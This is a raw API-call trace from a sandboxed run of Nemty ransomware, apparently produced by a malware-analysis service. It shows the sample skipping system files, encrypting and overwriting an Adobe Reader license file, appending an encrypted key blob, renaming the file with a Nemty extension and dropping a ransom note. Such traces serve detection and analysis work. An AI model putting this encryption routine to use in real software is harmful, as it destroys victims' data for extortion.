lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0173.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.143] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3ece3, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0173.143] lstrcmpiW (lpString1="license.html", lpString2=".") returned 1 [0173.143] lstrcmpiW (lpString1="license.html", lpString2="..") returned 1 [0173.143] lstrcmpiW (lpString1="license.html", lpString2="...") returned 1 [0173.143] lstrcmpiW (lpString1="license.html", lpString2="windows") returned -1 [0173.143] lstrcmpiW (lpString1="license.html", lpString2="$RECYCLE.BIN") returned 1 [0173.143] lstrcmpiW (lpString1="license.html", lpString2="rsa") returned -1 [0173.143] lstrcmpiW (lpString1="license.html", lpString2="NTDETECT.COM") returned -1 [0173.143] lstrcmpiW (lpString1="license.html", lpString2="ntldr") returned -1 [0173.143] lstrcmpiW (lpString1="license.html", lpString2="MSDOS.SYS") returned -1 [0173.144] lstrcmpiW (lpString1="license.html", lpString2="IO.SYS") returned 1 [0173.144] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0173.144] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0173.144] lstrcmpiW (lpString1="license.html", lpString2="AUTOEXEC.BAT") returned 1 [0173.144] lstrcmpiW (lpString1="license.html", lpString2="ntuser.dat") returned -1 [0173.144] lstrcmpiW (lpString1="license.html", lpString2="desktop.ini") returned 1 [0173.144] lstrcmpiW (lpString1="license.html", lpString2="CONFIG.SYS") returned 1 [0173.144] lstrcmpiW (lpString1="license.html", lpString2="RECYCLER") returned -1 [0173.144] lstrcmpiW (lpString1="license.html", lpString2="BOOTSECT.BAK") returned 1 [0173.144] lstrcmpiW (lpString1="license.html", lpString2="bootmgr") returned 1 [0173.144] lstrcmpiW (lpString1="license.html", lpString2="programdata") returned -1 [0173.144] lstrcmpiW (lpString1="license.html", lpString2="appdata") returned 1 [0173.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.144] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.144] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.144] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.144] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.144] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.144] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.144] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.144] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0173.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0173.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0173.144] Sleep (dwMilliseconds=0x5) [0173.158] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1adb6330, dwHighDateTime=0x1d561e8)) [0173.158] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1adb6330, dwHighDateTime=0x1d561e8)) [0173.158] GetLastError () returned 0xb7 [0173.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.158] GetLastError () returned 0xb7 [0173.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.158] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.158] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.158] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0173.159] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="mszYkyTf0JZfxzMgblIkBWBIzbUzztXjKdb9EsB9n2RTMeIoOQhhkTCRVK2O4tyG\r\n4Q6czzjsImwFm2WB1BwaVfB9wgC5S0iL0ds8SJAhWGZAbz8Ofr9/RojrvaCmbU9Z\r\nq7A2or8K7Ni39VhXokb79D2ySkbNpY0j8tXU7CukbZMCw3X2J3AexDcQGnlVeq+v\r\ncVDTYQRWAwDl/9LOG+XCpTuFrH+DfG8Nny+KFEln8trY0vsuKGs+A0FbAOlaKbBG\r\nX8qnjF8PofyRnj1wYRRZ+lAxclX4oq+KzGXi3mAuj9PjKbccV2G54hGj9xaDRI2y\r\ny9rhRaHNR4AjQpxAjegoYw==\r\n", pcchString=0x653e5dc) returned 1 [0173.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0173.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.159] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rus\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0173.159] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=257251) returned 1 [0173.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0173.159] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.159] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0173.168] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.168] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0173.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.169] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=257251, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3ece3 [0173.169] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.169] CloseHandle (hObject=0x3b0) returned 1 [0173.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0173.169] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.169] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0173.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0173.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0173.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.169] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rus\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rus\\license.html._nemty_kgobjgd_")) returned 1 [0173.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0173.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0173.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0173.170] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad6a070, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1ad6a070, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ad6a070, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0173.170] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0173.170] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0173.170] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0173.170] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0173.170] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0173.170] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0173.170] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0173.170] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0173.170] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0173.170] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0173.170] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0173.170] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0173.170] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0173.170] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0173.170] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0173.170] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0173.170] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0173.170] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0173.171] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0173.171] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0173.171] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0173.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.171] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.171] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0173.171] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.171] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0173.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.171] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.171] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.171] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.171] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0173.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0173.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.171] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad6a070, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1ad6a070, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ad6a070, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0173.171] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0173.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0173.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0173.172] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1 [0173.172] lstrcmpiW (lpString1="SKY", lpString2=".") returned 1 [0173.172] lstrcmpiW (lpString1="SKY", lpString2="..") returned 1 [0173.172] lstrcmpiW (lpString1="SKY", lpString2="...") returned 1 [0173.172] lstrcmpiW (lpString1="SKY", lpString2="windows") returned -1 [0173.172] lstrcmpiW (lpString1="SKY", lpString2="$RECYCLE.BIN") returned 1 [0173.172] lstrcmpiW (lpString1="SKY", lpString2="rsa") returned 1 [0173.172] lstrcmpiW (lpString1="SKY", lpString2="NTDETECT.COM") returned 1 [0173.172] lstrcmpiW (lpString1="SKY", lpString2="ntldr") returned 1 [0173.172] lstrcmpiW (lpString1="SKY", lpString2="MSDOS.SYS") returned 1 [0173.172] lstrcmpiW (lpString1="SKY", lpString2="IO.SYS") returned 1 [0173.172] lstrcmpiW (lpString1="SKY", lpString2="boot.ini") returned 1 [0173.172] lstrcmpiW (lpString1="SKY", lpString2="boot.ini") returned 1 [0173.172] lstrcmpiW (lpString1="SKY", lpString2="AUTOEXEC.BAT") returned 1 [0173.172] lstrcmpiW (lpString1="SKY", lpString2="ntuser.dat") returned 1 [0173.172] lstrcmpiW (lpString1="SKY", lpString2="desktop.ini") returned 1 [0173.172] lstrcmpiW (lpString1="SKY", lpString2="CONFIG.SYS") returned 1 [0173.172] lstrcmpiW (lpString1="SKY", lpString2="RECYCLER") returned 1 [0173.172] lstrcmpiW (lpString1="SKY", lpString2="BOOTSECT.BAK") returned 1 [0173.172] lstrcmpiW (lpString1="SKY", lpString2="bootmgr") returned 1 [0173.172] lstrcmpiW (lpString1="SKY", lpString2="programdata") returned 1 [0173.172] lstrcmpiW (lpString1="SKY", lpString2="appdata") returned 1 [0173.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SKY", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SKY", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SKY", lpUsedDefaultChar=0x0) returned 3 [0173.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SKY", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 